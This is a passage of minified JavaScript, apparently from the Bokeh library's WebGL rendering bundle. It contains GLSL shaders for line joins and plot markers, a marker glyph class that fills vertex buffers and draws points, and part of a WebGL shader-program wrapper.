abs(u_scale_aspect);\\\\n    vec2 abs_scale = u_scale_length * abs_scale_aspect;\\\\n\\\\n    // Correct angles for aspect ratio\\\\n    vec2 av;\\\\n    av = vec2(1.0, tan(a_angles.x)) / abs_scale_aspect;\\\\n    v_angles.x = atan(av.y, av.x);\\\\n    av = vec2(1.0, tan(a_angles.y)) / abs_scale_aspect;\\\\n    v_angles.y = atan(av.y, av.x);\\\\n\\\\n    // Thickness below 1 pixel are represented using a 1 pixel thickness\\\\n    // and a modified alpha\\\\n    v_color.a = min(v_linewidth, v_color.a);\\\\n    v_linewidth = max(v_linewidth, 1.0);\\\\n\\\\n    // If color is fully transparent we just will discard the fragment anyway\\\\n    if( v_color.a <= 0.0 ) {\\\\n        gl_Position = vec4(0.0,0.0,0.0,1.0);\\\\n        return;\\\\n    }\\\\n\\\\n    // This is the actual half width of the line\\\\n    float w = ceil(u_antialias+v_linewidth)/2.0;\\\\n\\\\n    vec2 position = (a_position + u_offset) * abs_scale;\\\\n\\\\n    vec2 t1 = normalize(a_tangents.xy * abs_scale_aspect);  // note the scaling for aspect ratio here\\\\n    vec2 t2 = normalize(a_tangents.zw * abs_scale_aspect);\\\\n    float u = a_texcoord.x;\\\\n    float v = a_texcoord.y;\\\\n    vec2 o1 = vec2( +t1.y, -t1.x);\\\\n    vec2 o2 = vec2( +t2.y, -t2.x);\\\\n\\\\n    // This is a join\\\\n    // ----------------------------------------------------------------\\\\n    if( t1 != t2 ) {\\\\n        float angle = atan (t1.x*t2.y-t1.y*t2.x, t1.x*t2.x+t1.y*t2.y);  // Angle needs recalculation for some reason\\\\n        vec2 t  = normalize(t1+t2);\\\\n        vec2 o  = vec2( + t.y, - t.x);\\\\n\\\\n        if ( u_dash_index > 0.0 )\\\\n        {\\\\n            // Broken angle\\\\n            // ----------------------------------------------------------------\\\\n            if( (abs(angle) > THETA) ) {\\\\n                position += v * w * o / cos(angle/2.0);\\\\n                float s = sign(angle);\\\\n                if( angle < 0.0 ) {\\\\n                    if( u == +1.0 ) {\\\\n                        u = v_segment.y + v * w * tan(angle/2.0);\\\\n                        if( v == 1.0 ) {\\\\n                            position -= 2.0 * w * t1 / sin(angle);\\\\n                            u -= 2.0 * w / sin(angle);\\\\n                        }\\\\n                    } else {\\\\n                        u = v_segment.x - v * w * tan(angle/2.0);\\\\n                        if( v == 1.0 ) {\\\\n                            position += 2.0 * w * t2 / sin(angle);\\\\n                            u += 2.0*w / sin(angle);\\\\n                        }\\\\n                    }\\\\n                } else {\\\\n                    if( u == +1.0 ) {\\\\n                        u = v_segment.y + v * w * tan(angle/2.0);\\\\n                        if( v == -1.0 ) {\\\\n                            position += 2.0 * w * t1 / sin(angle);\\\\n                            u += 2.0 * w / sin(angle);\\\\n                        }\\\\n                    } else {\\\\n                        u = v_segment.x - v * w * tan(angle/2.0);\\\\n                        if( v == -1.0 ) {\\\\n                            position -= 2.0 * w * t2 / sin(angle);\\\\n                            u -= 2.0*w / sin(angle);\\\\n                        }\\\\n                    }\\\\n                }\\\\n                // Continuous angle\\\\n                // ------------------------------------------------------------\\\\n            } else {\\\\n                position += v * w * o / cos(angle/2.0);\\\\n                if( u == +1.0 ) u = v_segment.y;\\\\n                else            u = v_segment.x;\\\\n            }\\\\n        }\\\\n\\\\n        // Solid line\\\\n        // --------------------------------------------------------------------\\\\n        else\\\\n        {\\\\n            position.xy += v * w * o / cos(angle/2.0);\\\\n            if( angle < 0.0 ) {\\\\n                if( u == +1.0 ) {\\\\n                    u = v_segment.y + v * w * tan(angle/2.0);\\\\n                } else {\\\\n                    u = v_segment.x - v * w * tan(angle/2.0);\\\\n                }\\\\n            } else {\\\\n                if( u == +1.0 ) {\\\\n                    u = v_segment.y + v * w * tan(angle/2.0);\\\\n                } else {\\\\n                    u = v_segment.x - v * w * tan(angle/2.0);\\\\n                }\\\\n            }\\\\n        }\\\\n\\\\n    // This is a line start or end (t1 == t2)\\\\n    // ------------------------------------------------------------------------\\\\n    } else {\\\\n        position += v * w * o1;\\\\n        if( u == -1.0 ) {\\\\n            u = v_segment.x - w;\\\\n            position -= w * t1;\\\\n        } else {\\\\n            u = v_segment.y + w;\\\\n            position += w * t2;\\\\n        }\\\\n    }\\\\n\\\\n    // Miter distance\\\\n    // ------------------------------------------------------------------------\\\\n    vec2 t;\\\\n    vec2 curr = a_position * abs_scale;\\\\n    if( a_texcoord.x < 0.0 ) {\\\\n        vec2 next = curr + t2*(v_segment.y-v_segment.x);\\\\n\\\\n        rotate( t1, +v_angles.x/2.0, t);\\\\n        v_miter.x = signed_distance(curr, curr+t, position);\\\\n\\\\n        rotate( t2, +v_angles.y/2.0, t);\\\\n        v_miter.y = signed_distance(next, next+t, position);\\\\n    } else {\\\\n        vec2 prev = curr - t1*(v_segment.y-v_segment.x);\\\\n\\\\n        rotate( t1, -v_angles.x/2.0,t);\\\\n        v_miter.x = signed_distance(prev, prev+t, position);\\\\n\\\\n        rotate( t2, -v_angles.y/2.0,t);\\\\n        v_miter.y = signed_distance(curr, curr+t, position);\\\\n    }\\\\n\\\\n    if (!closed && v_segment.x <= 0.0) {\\\\n        v_miter.x = 1e10;\\\\n    }\\\\n    if (!closed && v_segment.y >= v_length)\\\\n    {\\\\n        v_miter.y = 1e10;\\\\n    }\\\\n\\\\n    v_texcoord = vec2( u, v*w );\\\\n\\\\n    // Calculate position in device coordinates. Note that we\\\\n    // already scaled with abs scale above.\\\\n    vec2 normpos = position * sign(u_scale_aspect);\\\\n    normpos += 0.5;  // make up for Bokeh's offset\\\\n    normpos /= u_canvas_size / u_pixel_ratio;  // in 0..1\\\\n    gl_Position = vec4(normpos*2.0-1.0, 0.0, 1.0);\\\\n    gl_Position.y *= -1.0;\\\\n}\\\\n\\\"},456:function(t,e,n){t(452)},457:function(t,e,n){n.fragment_shader=function(t){return\\\"\\\\nprecision mediump float;\\\\nconst float SQRT_2 = 1.4142135623730951;\\\\nconst float PI = 3.14159265358979323846264;\\\\n//\\\\nuniform float u_antialias;\\\\n//\\\\nvarying vec4  v_fg_color;\\\\nvarying vec4  v_bg_color;\\\\nvarying float v_linewidth;\\\\nvarying float v_size;\\\\nvarying vec2  v_rotation;\\\\n\\\\n\\\"+t+\\\"\\\\n\\\\nvec4 outline(float distance, float linewidth, float antialias, vec4 fg_color, vec4 bg_color)\\\\n{\\\\n    vec4 frag_color;\\\\n    float t = linewidth/2.0 - antialias;\\\\n    float signed_distance = distance;\\\\n    float border_distance = abs(signed_distance) - t;\\\\n    float alpha = border_distance/antialias;\\\\n    alpha = exp(-alpha*alpha);\\\\n\\\\n    // If fg alpha is zero, it probably means no outline. To avoid a dark outline\\\\n    // shining through due to aa, we set the fg color to the bg color. Avoid if (i.e. branching).\\\\n    float select = float(bool(fg_color.a));\\\\n    fg_color.rgb = select * fg_color.rgb + (1.0  - select) * bg_color.rgb;\\\\n    // Similarly, if we want a transparent bg\\\\n    select = float(bool(bg_color.a));\\\\n    bg_color.rgb = select * bg_color.rgb + (1.0  - select) * fg_color.rgb;\\\\n\\\\n    if( border_distance < 0.0)\\\\n        frag_color = fg_color;\\\\n    else if( signed_distance < 0.0 ) {\\\\n        frag_color = mix(bg_color, fg_color, sqrt(alpha));\\\\n    } else {\\\\n        if( abs(signed_distance) < (linewidth/2.0 + antialias) ) {\\\\n            frag_color = vec4(fg_color.rgb, fg_color.a * alpha);\\\\n        } else {\\\\n            discard;\\\\n        }\\\\n    }\\\\n    return frag_color;\\\\n}\\\\n\\\\nvoid main()\\\\n{\\\\n    vec2 P = gl_PointCoord.xy - vec2(0.5, 0.5);\\\\n    P = vec2(v_rotation.x*P.x - v_rotation.y*P.y,\\\\n             v_rotation.y*P.x + v_rotation.x*P.y);\\\\n    float point_size = SQRT_2*v_size  + 2.0 * (v_linewidth + 1.5*u_antialias);\\\\n    float distance = marker(P*point_size, v_size);\\\\n    gl_FragColor = outline(distance, v_linewidth, u_antialias, v_fg_color, v_bg_color);\\\\n    //gl_FragColor.rgb *= gl_FragColor.a;  // pre-multiply alpha\\\\n}\\\\n\\\"},n.circle=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    return length(P) - size/2.0;\\\\n}\\\\n\\\",n.square=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    return max(abs(P.x), abs(P.y)) - size/2.0;\\\\n}\\\\n\\\",n.diamond=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.5 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.5 + P.y);\\\\n    float r1 = max(abs(x), abs(y)) - size / (2.0 * SQRT_2);\\\\n    return r1 / SQRT_2;\\\\n}\\\\n\\\",n.hex=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    vec2 q = abs(P);\\\\n    return max(q.y * 0.57735 + q.x - 1.0 * size/2.0, q.y - 0.866 * size/2.0);\\\\n}\\\\n\\\",n.triangle=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    P.y -= size * 0.3;\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.7 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.7 + P.y);\\\\n    float r1 = max(abs(x), abs(y)) - size / 1.6;\\\\n    float r2 = P.y;\\\\n    return max(r1 / SQRT_2, r2);  // Intersect diamond with rectangle\\\\n}\\\\n\\\",n.invertedtriangle=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    P.y += size * 0.3;\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.7 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.7 + P.y);\\\\n    float r1 = max(abs(x), abs(y)) - size / 1.6;\\\\n    float r2 = - P.y;\\\\n    return max(r1 / SQRT_2, r2);  // Intersect diamond with rectangle\\\\n}\\\\n\\\",n.cross='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float square = max(abs(P.x), abs(P.y)) - size / 2.5;   // 2.5 is a tweak\\\\n    float cross = min(abs(P.x), abs(P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    return max(square, cross);\\\\n}\\\\n',n.circlecross=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(P.x - qs), abs(P.y - qs)) - qs;\\\\n    float s2 = max(abs(P.x + qs), abs(P.y - qs)) - qs;\\\\n    float s3 = max(abs(P.x - qs), abs(P.y + qs)) - qs;\\\\n    float s4 = max(abs(P.x + qs), abs(P.y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float circle = length(P) - size/2.0;\\\\n    float c1 = max(circle, s1);\\\\n    float c2 = max(circle, s2);\\\\n    float c3 = max(circle, s3);\\\\n    float c4 = max(circle, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.squarecross=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(P.x - qs), abs(P.y - qs)) - qs;\\\\n    float s2 = max(abs(P.x + qs), abs(P.y - qs)) - qs;\\\\n    float s3 = max(abs(P.x - qs), abs(P.y + qs)) - qs;\\\\n    float s4 = max(abs(P.x + qs), abs(P.y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float square = max(abs(P.x), abs(P.y)) - size/2.0;\\\\n    float c1 = max(square, s1);\\\\n    float c2 = max(square, s2);\\\\n    float c3 = max(square, s3);\\\\n    float c4 = max(square, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.diamondcross=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(P.x - qs), abs(P.y - qs)) - qs;\\\\n    float s2 = max(abs(P.x + qs), abs(P.y - qs)) - qs;\\\\n    float s3 = max(abs(P.x - qs), abs(P.y + qs)) - qs;\\\\n    float s4 = max(abs(P.x + qs), abs(P.y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.5 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.5 + P.y);\\\\n    float diamond = max(abs(x), abs(y)) - size / (2.0 * SQRT_2);\\\\n    diamond /= SQRT_2;\\\\n    float c1 = max(diamond, s1);\\\\n    float c2 = max(diamond, s2);\\\\n    float c3 = max(diamond, s3);\\\\n    float c4 = max(diamond, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.x='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float circle = length(P) - size / 1.6;\\\\n    float X = min(abs(P.x - P.y), abs(P.x + P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    return max(circle, X);\\\\n}\\\\n',n.circlex='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float x = P.x - P.y;\\\\n    float y = P.x + P.y;\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(x - qs), abs(y - qs)) - qs;\\\\n    float s2 = max(abs(x + qs), abs(y - qs)) - qs;\\\\n    float s3 = max(abs(x - qs), abs(y + qs)) - qs;\\\\n    float s4 = max(abs(x + qs), abs(y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float circle = length(P) - size/2.0;\\\\n    float c1 = max(circle, s1);\\\\n    float c2 = max(circle, s2);\\\\n    float c3 = max(circle, s3);\\\\n    float c4 = max(circle, s4);\\\\n    // Union\\\\n    float almost = min(min(min(c1, c2), c3), c4);\\\\n    // In this case, the X is also outside of the main shape\\\\n    float Xmask = length(P) - size / 1.6;  // a circle\\\\n    float X = min(abs(P.x - P.y), abs(P.x + P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    return min(max(X, Xmask), almost);\\\\n}\\\\n',n.squarex=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float x = P.x - P.y;\\\\n    float y = P.x + P.y;\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(x - qs), abs(y - qs)) - qs;\\\\n    float s2 = max(abs(x + qs), abs(y - qs)) - qs;\\\\n    float s3 = max(abs(x - qs), abs(y + qs)) - qs;\\\\n    float s4 = max(abs(x + qs), abs(y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float square = max(abs(P.x), abs(P.y)) - size/2.0;\\\\n    float c1 = max(square, s1);\\\\n    float c2 = max(square, s2);\\\\n    float c3 = max(square, s3);\\\\n    float c4 = max(square, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.asterisk='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Masks\\\\n    float diamond = max(abs(SQRT_2 / 2.0 * (P.x - P.y)), abs(SQRT_2 / 2.0 * (P.x + P.y))) - size / (2.0 * SQRT_2);\\\\n    float square = max(abs(P.x), abs(P.y)) - size / (2.0 * SQRT_2);\\\\n    // Shapes\\\\n    float X = min(abs(P.x - P.y), abs(P.x + P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    float cross = min(abs(P.x), abs(P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    // Result is union of masked shapes\\\\n    return min(max(X, diamond), max(cross, square));\\\\n}\\\\n'},458:function(t,e,n){var a=t(391),s=t(460),i=t(451),r=t(459),o=t(457),u=t(120),g=t(22),p=t(14),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a.__extends(e,t),e.prototype.init=function(){var t=this.gl,e=r.vertex_shader,n=o.fragment_shader(this._marker_code);this.prog=new s.Program(t),this.prog.set_shaders(e,n),this.vbo_x=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_x\\\",\\\"float\\\",this.vbo_x),this.vbo_y=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_y\\\",\\\"float\\\",this.vbo_y),this.vbo_s=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_size\\\",\\\"float\\\",this.vbo_s),this.vbo_a=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_angle\\\",\\\"float\\\",this.vbo_a),this.vbo_linewidth=new s.VertexBuffer(t),this.vbo_fg_color=new s.VertexBuffer(t),this.vbo_bg_color=new s.VertexBuffer(t),this.index_buffer=new s.IndexBuffer(t)},e.prototype.draw=function(t,e,n){var a=e.glglyph,s=a.nvertices;if(a.data_changed){if(!isFinite(n.dx)||!isFinite(n.dy))return;a._baked_offset=[n.dx,n.dy],a._set_data(s),a.data_changed=!1}else this.glyph instanceof u.CircleView&&null!=this.glyph._radius&&(null==this.last_trans||n.sx!=this.last_trans.sx||n.sy!=this.last_trans.sy)&&(this.last_trans=n,this.vbo_s.set_data(0,new Float32Array(g.map(this.glyph.sradius,function(t){return 2*t}))));this.visuals_changed&&(this._set_visuals(s),this.visuals_changed=!1);var i=a._baked_offset;if(this.prog.set_uniform(\\\"u_pixel_ratio\\\",\\\"float\\\",[n.pixel_ratio]),this.prog.set_uniform(\\\"u_canvas_size\\\",\\\"vec2\\\",[n.width,n.height]),this.prog.set_uniform(\\\"u_offset\\\",\\\"vec2\\\",[n.dx-i[0],n.dy-i[1]]),this.prog.set_uniform(\\\"u_scale\\\",\\\"vec2\\\",[n.sx,n.sy]),this.prog.set_attribute(\\\"a_x\\\",\\\"float\\\",a.vbo_x),this.prog.set_attribute(\\\"a_y\\\",\\\"float\\\",a.vbo_y),this.prog.set_attribute(\\\"a_size\\\",\\\"float\\\",a.vbo_s),this.prog.set_attribute(\\\"a_angle\\\",\\\"float\\\",a.vbo_a),0!=t.length)if(t.length===s)this.prog.draw(this.gl.POINTS,[0,s]);else if(s<65535){var r=window.navigator.userAgent;0<r.indexOf(\\\"MSIE \\\")+r.indexOf(\\\"Trident/\\\")+r.indexOf(\\\"Edge/\\\")&&p.logger.warn(\\\"WebGL warning: IE is known to produce 1px sprites whith selections.\\\"),this.index_buffer.set_size(2*t.length),this.index_buffer.set_data(0,new Uint16Array(t)),this.prog.draw(this.gl.POINTS,this.index_buffer)}else{for(var o=[],l=0,_=Math.ceil(s/64e3);l<_;l++)o.push([]);for(var l=0,_=t.length;l<_;l++){var h=t[l]%64e3,c=Math.floor(t[l]/64e3);o[c].push(h)}for(var c=0,_=o.length;c<_;c++){var f=new Uint16Array(o[c]),d=64e3*c*4;0!==f.length&&(this.prog.set_attribute(\\\"a_x\\\",\\\"float\\\",a.vbo_x,0,d),this.prog.set_attribute(\\\"a_y\\\",\\\"float\\\",a.vbo_y,0,d),this.prog.set_attribute(\\\"a_size\\\",\\\"float\\\",a.vbo_s,0,d),this.prog.set_attribute(\\\"a_angle\\\",\\\"float\\\",a.vbo_a,0,d),this.vbo_linewidth.used&&this.prog.set_attribute(\\\"a_linewidth\\\",\\\"float\\\",this.vbo_linewidth,0,d),this.vbo_fg_color.used&&this.prog.set_attribute(\\\"a_fg_color\\\",\\\"vec4\\\",this.vbo_fg_color,0,4*d),this.vbo_bg_color.used&&this.prog.set_attribute(\\\"a_bg_color\\\",\\\"vec4\\\",this.vbo_bg_color,0,4*d),this.index_buffer.set_size(2*f.length),this.index_buffer.set_data(0,f),this.prog.draw(this.gl.POINTS,this.index_buffer))}}},e.prototype._set_data=function(t){var e=4*t;this.vbo_x.set_size(e),this.vbo_y.set_size(e),this.vbo_a.set_size(e),this.vbo_s.set_size(e);for(var n=new Float64Array(this.glyph._x),a=new Float64Array(this.glyph._y),s=0,i=t;s<i;s++)n[s]+=this._baked_offset[0],a[s]+=this._baked_offset[1];this.vbo_x.set_data(0,new Float32Array(n)),this.vbo_y.set_data(0,new Float32Array(a)),null!=this.glyph._angle&&this.vbo_a.set_data(0,new Float32Array(this.glyph._angle)),this.glyph instanceof u.CircleView&&null!=this.glyph._radius?this.vbo_s.set_data(0,new Float32Array(g.map(this.glyph.sradius,function(t){return 2*t}))):this.vbo_s.set_data(0,new Float32Array(this.glyph._size))},e.prototype._set_visuals=function(t){i.attach_float(this.prog,this.vbo_linewidth,\\\"a_linewidth\\\",t,this.glyph.visuals.line,\\\"line_width\\\"),i.attach_color(this.prog,this.vbo_fg_color,\\\"a_fg_color\\\",t,this.glyph.visuals.line,\\\"line\\\"),i.attach_color(this.prog,this.vbo_bg_color,\\\"a_bg_color\\\",t,this.glyph.visuals.fill,\\\"fill\\\"),this.prog.set_uniform(\\\"u_antialias\\\",\\\"float\\\",[.8])},e}(i.BaseGLGlyph);function _(n){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a.__extends(e,t),Object.defineProperty(e.prototype,\\\"_marker_code\\\",{get:function(){return n},enumerable:!0,configurable:!0}),e}(l)}n.MarkerGLGlyph=l;var h=t(457);n.CircleGLGlyph=_(h.circle),n.SquareGLGlyph=_(h.square),n.DiamondGLGlyph=_(h.diamond),n.TriangleGLGlyph=_(h.triangle),n.InvertedTriangleGLGlyph=_(h.invertedtriangle),n.HexGLGlyph=_(h.hex),n.CrossGLGlyph=_(h.cross),n.CircleCrossGLGlyph=_(h.circlecross),n.SquareCrossGLGlyph=_(h.squarecross),n.DiamondCrossGLGlyph=_(h.diamondcross),n.XGLGlyph=_(h.x),n.CircleXGLGlyph=_(h.circlex),n.SquareXGLGlyph=_(h.squarex),n.AsteriskGLGlyph=_(h.asterisk)},459:function(t,e,n){n.vertex_shader=\\\"\\\\nprecision mediump float;\\\\nconst float SQRT_2 = 1.4142135623730951;\\\\n//\\\\nuniform float u_pixel_ratio;\\\\nuniform vec2 u_canvas_size;\\\\nuniform vec2 u_offset;\\\\nuniform vec2 u_scale;\\\\nuniform float u_antialias;\\\\n//\\\\nattribute float a_x;\\\\nattribute float a_y;\\\\nattribute float a_size;\\\\nattribute float a_angle;  // in radians\\\\nattribute float a_linewidth;\\\\nattribute vec4  a_fg_color;\\\\nattribute vec4  a_bg_color;\\\\n//\\\\nvarying float v_linewidth;\\\\nvarying float v_size;\\\\nvarying vec4  v_fg_color;\\\\nvarying vec4  v_bg_color;\\\\nvarying vec2  v_rotation;\\\\n\\\\nvoid main (void)\\\\n{\\\\n    v_size = a_size * u_pixel_ratio;\\\\n    v_linewidth = a_linewidth * u_pixel_ratio;\\\\n    v_fg_color = a_fg_color;\\\\n    v_bg_color = a_bg_color;\\\\n    v_rotation = vec2(cos(-a_angle), sin(-a_angle));\\\\n    // Calculate position - the -0.5 is to correct for canvas origin\\\\n    vec2 pos = (vec2(a_x, a_y) + u_offset) * u_scale; // in pixels\\\\n    pos += 0.5;  // make up for Bokeh's offset\\\\n    pos /= u_canvas_size / u_pixel_ratio;  // in 0..1\\\\n    gl_Position = vec4(pos*2.0-1.0, 0.0, 1.0);\\\\n    gl_Position.y *= -1.0;\\\\n    gl_PointSize = SQRT_2 * v_size + 2.0 * (v_linewidth + 1.5*u_antialias);\\\\n}\\\\n\\\"},460:function(t,e,n){var a,s,o,i,r,p,d,l,u,x=function(t,e){return Array.isArray(t)&&Array.isArray(e)?t.concat(e):t+e},g=function(t,e){if(null==e);else{if(Array.isArray(e)){for(var n=0;n<e.length;n++)if(v(t,e[n]))return!0;return!1}if(e.constructor===Object){for(var a in e)if(t==a)return!0;return!1}if(e.constructor==String)return 0<=e.indexOf(t)}var s=Error(\\\"Not a container: \\\"+e);throw s.name=\\\"TypeError\\\",s},v=function t(e,n){if(null==e||null==n);else{if(Array.isArray(e)&&Array.isArray(n)){for(var a=0,s=e.length==n.length;s&&a<e.length;)s=t(e[a],n[a]),a+=1;return s}if(e.constructor===Object&&n.constructor===Object){var i=Object.keys(e),r=Object.keys(n);i.sort(),r.sort();for(var o,a=0,s=t(i,r);s&&a<i.length;)o=i[a],s=t(e[o],n[o]),a+=1;return s}}return e==n},_=function(t,e){if(void 0===t||\\\"undefined\\\"!=typeof window&&window===t||\\\"undefined\\\"!=typeof global&&global===t)throw\\\"Class constructor is called as a function.\\\";for(var n in t)void 0!==Object[n]||\\\"function\\\"!=typeof t[n]||t[n].nobind||(t[n]=t[n].bind(t));t.__init__&&t.__init__.apply(t,e)},m=function(t,e){if((\\\"number\\\"==typeof t)+(\\\"number\\\"==typeof e)===1){if(t.constructor===String)return h.call(t,e);if(e.constructor===String)return h.call(e,t);if(Array.isArray(e)){var n=t;t=e,e=n}if(Array.isArray(t)){for(var a=[],s=0;s<e;s++)a=a.concat(t);return a}}return t*e},y=function(t){return null===t||\\\"object\\\"!=typeof t?t:void 0!==t.length?!!t.length&&t:void 0!==t.byteLength?!!t.byteLength&&t:t.constructor!==Object||!!Object.getOwnPropertyNames(t).length&&t},b=function(t){if(!Array.isArray(this))return this.append.apply(this,arguments);this.push(t)},w=function(t,e){return this.constructor!==Object?this.get.apply(this,arguments):void 0!==this[t]?this[t]:void 0!==e?e:null},P=function(t){if(!Array.isArray(this))return this.remove.apply(this,arguments);for(var e=0;e<this.length;e++)if(v(this[e],t))return void this.splice(e,1);var n=Error(t);throw n.name=\\\"ValueError\\\",n},h=function(t){if(this.repeat)return this.repeat(t);if(t<1)return\\\"\\\";for(var e=\\\"\\\",n=this.valueOf();1<t;)1&t&&(e+=n),t>>=1,n+=n;return e+n},c=function(t){return this.constructor!==String?this.startswith.apply(this,arguments):0==this.indexOf(t)};u=window.console,l=function(t,e){var n,a,s,i,r,o,l;for(e=void 0===e?\\\"periodic check\\\":e,i=[];a=t.getError(),!(v(a,t.NO_ERROR)||y(i)&&v(a,i[i.length-1]));)b.call(i,a);if(i.length){for(r=\\\"\\\",\\\"object\\\"!=typeof(o=i)||Array.isArray(o)||(o=Object.keys(o)),l=0;l<o.length;l+=1)n=o[l],r=x(r,n);throw(s=new Error(\\\"RuntimeError:OpenGL got errors (\\\"+e+\\\"): \\\"+r)).name=\\\"RuntimeError\\\",s}return null},(s=function(){_(this,arguments)}).prototype._base_class=Object,s.prototype._class_name=\\\"GlooObject\\\",s.prototype.__init__=function(t){if(this._gl=t,this.handle=null,this._create(),null===this.handle)throw\\\"AssertionError: this.handle !== null\\\";return null},s.prototype._create=function(){var t;throw(t=new Error(\\\"NotImplementedError:\\\")).name=\\\"NotImplementedError\\\",t},((i=function(){_(this,arguments)}).prototype=Object.create(s.prototype))._base_class=s.prototype,i.prototype._class_name=\\\"Program\\\",i.prototype.UTYPEMAP={float:\\\"uniform1fv\\\",vec2:\\\"uniform2fv\\\",vec3:\\\"uniform3fv\\\",vec4:\\\"uniform4fv\\\",int:\\\"uniform1iv\\\",ivec2:\\\"uniform2iv\\\",ivec3:\\\"uniform3iv\\\",ivec4:\\\"uniform4iv\\\",bool:\\\"uniform1iv\\\",bvec2:\\\"uniform2iv\\\",bvec3:\\\"uniform3iv\\\",bvec4:\\\"uniform4iv\\\",mat2:\\\"uniformMatrix2fv\\\",mat3:\\\"uniformMatrix3fv\\\",mat4:\\\"uniformMatrix4fv\\\",sampler1D:\\\"uniform1i\\\",sampler2D:\\\"uniform1i\\\",sampler3D:\\\"uniform1i\\\"},i.prototype.ATYPEMAP={float:\\\"vertexAttrib1f\\\",vec2:\\\"vertexAttrib2f\\\",vec3:\\\"vertexAttrib3f\\\",vec4:\\\"vertexAttrib4f\\\"},i.prototype.ATYPEINFO={float:[1,5126],vec2:[2,5126],vec3:[3,5126],vec4:[4,5126]},i.prototype._create=function(){return this.handle=this._gl.createProgram(),this.locations={},this._unset_variables=[],this._validated=!1,this._samplers={},this._attributes={},this._known_invalid=[],null},i.prototype.delete=function(){return this._gl.deleteProgram(this.handle),null},i.prototype.activate=function(){return this._gl.useProgram(this.handle),null},i.prototype.deactivate=function(){return this._gl.useProgram(0),null},i.prototype.set_shaders=function(t,e){var n,a,s,i,r,o,l,_,h,c,f,d,u;for(o=this._gl,this._linked=!1,u=o.createShader(o.VERTEX_SHADER),r=o.createShader(o.FRAGMENT_SHADER),f=[[t,u,\\\"vertex\\\"],[e,r,\\\"fragment\\\"]],_=0;_<2;_+=1)if(n=(c=f[_])[0],l=c[1],d=c[2],o.shaderSource(l,n),o.compileShader(l),h=o.getShaderParameter(l,o.COMPILE_STATUS),!y(h))throw i=o.getShaderInfoLog(l),(s=new Error(\\\"RuntimeError:\\\"+x(\\\"errors in \\\"+d+\\\" shader:\\\\n\\\",i))).name=\\\"RuntimeError\\\",s;if(o.attachShader(this.handle,u),o.attachShader(this.handle,r),o.linkProgram(this.handle),!y(o.getProgramParameter(this.handle,o.LINK_STATUS)))throw(a=new Error(\\\"RuntimeError:Program link error:\\\\n\\\"+o.getProgramInfoLog(this.handle))).name=\\\"RuntimeError\\\",a;return this._unset_variables=this._get_active_attributes_and_uniforms(),o.detachShader(this.handle,u),o.detachShader(this.handle,r),o.deleteShader(u),o.deleteShader(r),this._known_invalid=[],this._linked=!0,null},i.prototype._get_active_attributes_and_uniforms=function(){var s,t,e,n,a,i,r,o,l,_,h,c,f,d,u,g,p,v,m;for(o=this._gl,this.locations={},d=new 